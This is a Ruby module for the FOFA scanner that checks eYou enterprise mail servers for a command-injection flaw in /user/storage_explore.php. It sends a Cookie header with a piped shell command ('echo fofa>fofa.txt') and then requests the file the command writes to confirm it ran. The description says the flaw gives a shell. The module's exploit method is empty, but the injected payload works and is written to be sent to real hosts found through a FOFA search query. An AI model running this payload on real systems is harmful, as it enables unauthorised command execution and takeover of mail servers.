require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => '亿邮eYou系统storage_explore.php存在执行系统命令',
      'Description' => %q{
eYou /user/storage_explore.php存在cookie命令执行漏洞，可以执行系统命令，get shell。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'EYOU企业邮箱',
      'Homepage' => 'http://eyou.net/',
      'References' =>
          [
              ['wooyun', '2010-058301'],
          ],
      'DisclosureDate'=> '2014-06-01',
      'FofaQuery'=>'body="EYOU企业邮箱"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/user/storage_explore.php',
                    data: nil,
                    header: {'Cookie'=> 'USER=UID%3d1|echo+fofa>fofa.txt'}
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    }
                  ]
              }
            },
            {
                'Loginfo'=>'do second test',
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/user/fofa.txt',
                        data: ''
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: 'fofa'
                        }
                    ]
                }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)

  end
end